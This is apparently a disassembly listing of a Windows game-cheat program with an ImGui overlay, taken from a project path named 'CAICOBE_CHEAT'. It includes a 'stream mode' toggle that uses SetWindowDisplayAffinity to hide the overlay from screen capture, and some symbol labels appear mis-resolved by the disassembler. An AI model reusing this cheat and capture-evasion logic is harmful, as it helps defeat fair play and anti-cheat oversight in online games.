call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14004c5c3
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x28]
mov qword [rbp - 0x50], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0xb0]
mov rdx, rax
call qword [rbp - 0x50]
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.Stream_Mode_Activado
jmp 0x14004c662
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor eax, eax
xor ecx, ecx
mov qword [rbp + 0xb8], rax
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xb8]
xor edx, edx
lea r9, [0x14011e120]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x14011e130]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x14004c655
mov rax, qword [rbp + 0xb8]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x20]
mov qword [rbp - 0x50], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0xb8]
mov rdx, rax
call qword [rbp - 0x50]
mov rcx, qword [rbp + 0xb8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.Stream_Mode__DESACTIVADO
lea rcx, [0x140254888]
call fcn.140036ae0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14004c6af
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c6aa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9c2
call fcn.140119140
mov rdx, qword [rbp + 0xd8]
xor eax, eax
mov ecx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
mov byte [rbp + 0xe0], al
cmp rdx, rcx
jbe 0x14004c70c
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c705
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9c2
call fcn.140119140
xor eax, eax
mov rdx, qword [rbp + 0x148]
mov qword [rbp + 0xd0], rax
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xd8], rax
mov byte [rbp + 0xc0], 0
cmp rdx, rax
jbe 0x14004c766
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c761
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9c2
call fcn.140119140
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14004c7a1
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c79c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c9c9
call fcn.140119140
xor eax, eax
mov byte [rbp], 0
mov qword [rbp + 0x10], rax
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x610], rax
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x60c], edx
lea rcx, [rbp + 0x628]
call fcn.14004d2f0
lea rcx, [rbp + 0x630]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x6a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
call fcn.140011680
call fcn.14000b2b0
mov rcx, qword [0x14028b458]
lea r8, [0x14028b400]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x580], xmm0
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14028b458]
lea r8, [rbp + 0x580]
mov rdx, qword [0x14028b400]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x1402556c0]
mov qword [rbp - 0x50], rax
cmp dword [rax + 0x4870], 0
jg 0x14004c88f
mov r8d, 0x6ff
lea rdx, str.C:UserscrackDesktopCAICOBE_CHEATPROYECTOimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbp - 0x50]
mov rax, qword [rax + 0x4878]
mov rcx, qword [rax]
xor eax, eax
add rcx, 0x48
cmp byte [rcx], al
cmovne rax, rcx
mov rcx, rax
call fcn.140037f40
mov rcx, qword [0x14028b408]
xor r8d, r8d
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x140049920
call fcn.1400391c0
call fcn.1400394b0
call fcn.1400062f0
call fcn.14004cbb0
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x3b0]
call fcn.140036b00
movaps xmm8, xmmword [rsp + 0x880]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x890]
movaps xmm12, xmmword [rsp + 0x840]
movaps xmm11, xmmword [rsp + 0x850]
movaps xmm10, xmmword [rsp + 0x860]
movaps xmm9, xmmword [rsp + 0x870]
movaps xmm13, xmmword [rsp + 0x830]
movaps xmm14, xmmword [rsp + 0x820]
movaps xmm6, xmmword [rsp + 0x8a0]
mov r15, qword [rsp + 0x8f0]
mov r13, qword [rsp + 0x8e8]
mov r12, qword [rsp + 0x8e0]
movaps xmm15, xmmword [rsp + 0x810]
add rsp, 0x8b0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x238], eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14002c560
int3
call fcn.14002c560
int3
call fcn.14002c560
int3
call fcn.14002c560
int3